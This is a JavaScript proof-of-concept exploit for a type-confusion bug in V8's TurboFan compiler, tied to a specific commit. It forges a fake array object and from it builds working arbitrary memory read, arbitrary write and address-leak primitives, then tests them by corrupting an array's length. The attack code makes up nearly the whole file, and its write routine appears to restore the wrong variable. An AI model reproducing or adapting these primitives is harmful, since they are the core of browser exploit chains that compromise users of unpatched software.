// Flags: --turbofan --no-maglev /* Build V8 git checkout 8f51e033902da9b786358e6e82f0dc57b46464dc ... */ let float64_view = new Float64Array(1); let big_uint64_view = new BigUint64Array(float64_view.buffer); let uint32_view = new Uint32Array(float64_view.buffer); Number.prototype.toBigInt = function toBigInt(){ float64_view[0] = this; return big_uint64_view[0]; } BigInt.prototype.toNumber = function toNumber(){ big_uint64_view[0] = this; return float64_view[0]; } BigInt.prototype.toUint32 = function toUint32(){ big_uint64_view[0] = this; return uint32_view[0]; } function gc_minor() { //scavenge for(let i = 0; i < 1000; i++) { new ArrayBuffer(0x10000); } } // setup our length smi_big_length = (0x1337n)<<1n; let offset_fixed_double_array_map = 0x8a1n; let offset_packed_double_elements_map = 0x189a41n; let offset_empty_fixed_array = 0x745n; // let first_huge_arr = new Array(0x800000); first_huge_arr[0] = ((offset_empty_fixed_array<<32n) | offset_packed_double_elements_map).toNumber(); first_huge_arr[1] = ((smi_big_length<<32n) | (offset_empty_fixed_array)).toNumber() let second_huge_arr = new Array(0x800000); second_huge_arr[0] = {}; // function exploit(){ function f1(v2, v3) { var v4 = v3[0]; // HOLEY_DOUBLE_ELEMENTS var v5 = v2[0]; // HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS Array.prototype.push.call(v3, 2.199998872005392); // x+0x8 // 0x40019999`02340019 //Array.prototype.push.call(v3, 2.38506043e-39); // 0x19f88c+0x8 } for(let i=0; i<10000; i++){ let arr = new Array(2); arr[0] = "gnas"; f1(arr, [1.1, , 2.2]); } console.log("[*] Pass1"); for(let i=0; i<10000; i++){ //console.log("[*] i=",i); let arr = new Array(2); arr[0] = 1.1; f1(arr, arr); } let arr = new Array(1); arr[0] = 1.1; //%DebugPrint(arr); f1(arr, arr); //%DebugPrint(target_arr); arr[11] = 13.37; fake_arr = arr[2]; //console.log(arr[1]); //%DebugPrint(fake_arr); //readline(); return fake_arr; } fake_arr = exploit(); fake_arr[0]; //%DebugPrint(fake_arr); /* DebugPrint: 0000033302340019: [JSArray] - map: 0x033300189a41 [FastProperties] - prototype: 0x0333001893ad - elements: 0x033300000745 [PACKED_DOUBLE_ELEMENTS] - length: 363636 */ function arbRead(addr){ // arg.type = bigint let original_value = first_huge_arr[1]; first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber() let result = fake_arr[0].toBigInt(); first_huge_arr[1] = original_value; console.log(`[AAR] Success! - read at 0x${addr.toString(16)} --> value 0x${result.toString(16)}`); return result; } function arbWrite(addr, value){ // arg.type = bigint let original_value = temp[1]; first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber() fake_arr[0] = value.toNumber(); first_huge_arr[1] = original_value; console.log(`[AAW] Success! - write at 0x${addr.toString(16)} with value 0x${value.toString(16)}`); } // find second_huge_arr.elements offset var y; function find_offset_second_huge_arr_elements(){ y = 0x06580010n var test_val = arbRead(y); if (test_val === ((0x800000n<<33n) | 0x00000565n)){ console.log("[*] offset second_huge_arr.elements: 0x06580010n") return; } y = 0x065c0010n; test_val = arbRead(y); if (test_val === ((0x800000n<<33n) | 0x00000565n)){ console.log("[*] offset second_huge_arr.elements: 0x065c0010n") return; } } find_offset_second_huge_arr_elements(); function addrOf(victim_obj){ //let y=0x06580010n; second_huge_arr[0] = victim_obj; let orig = first_huge_arr[1]; first_huge_arr[1] = ((smi_big_length<<32n) | (y+1n)).toNumber(); //%DebugPrint(fake_arr); let result = fake_arr[0].toBigInt() & 0xFFFFFFFFn first_huge_arr[1] = orig; return result-1n; // untagged } //%DebugPrint(second_huge_arr); console.log("-----------------------------------"); console.log("-----------------------------------"); console.log("-----------------------------------"); console.log("-----------------------------------"); let test_arr = [1, 2, 3]; gc_minor(); //%DebugPrint(test_arr); offset_test_arr = addrOf(test_arr); //console.log(`[*] offset of test_arr: 0x${offset_test_arr.toString(16)}`); console.log(`[*] test_arr.length: ${test_arr.length}`); console.log("<----------- TEST AAR/W ----------->"); console.log("[*] Trying to modify the test_arr.length..."); let temp = arbRead(offset_test_arr+0x8n); let new_val = (0x1337n << 33n) | (temp & 0xFFFFFFFFn) arbWrite(offset_test_arr+0x8n, new_val) if (test_arr.length !== 0x1337){ console.log("[*] Failed to modify the test_arr.length. Please try again"); quit(); } console.log("<----------- TEST AAR/W ----------->"); console.log(`[*] test_arr.length: ${test_arr.length}`);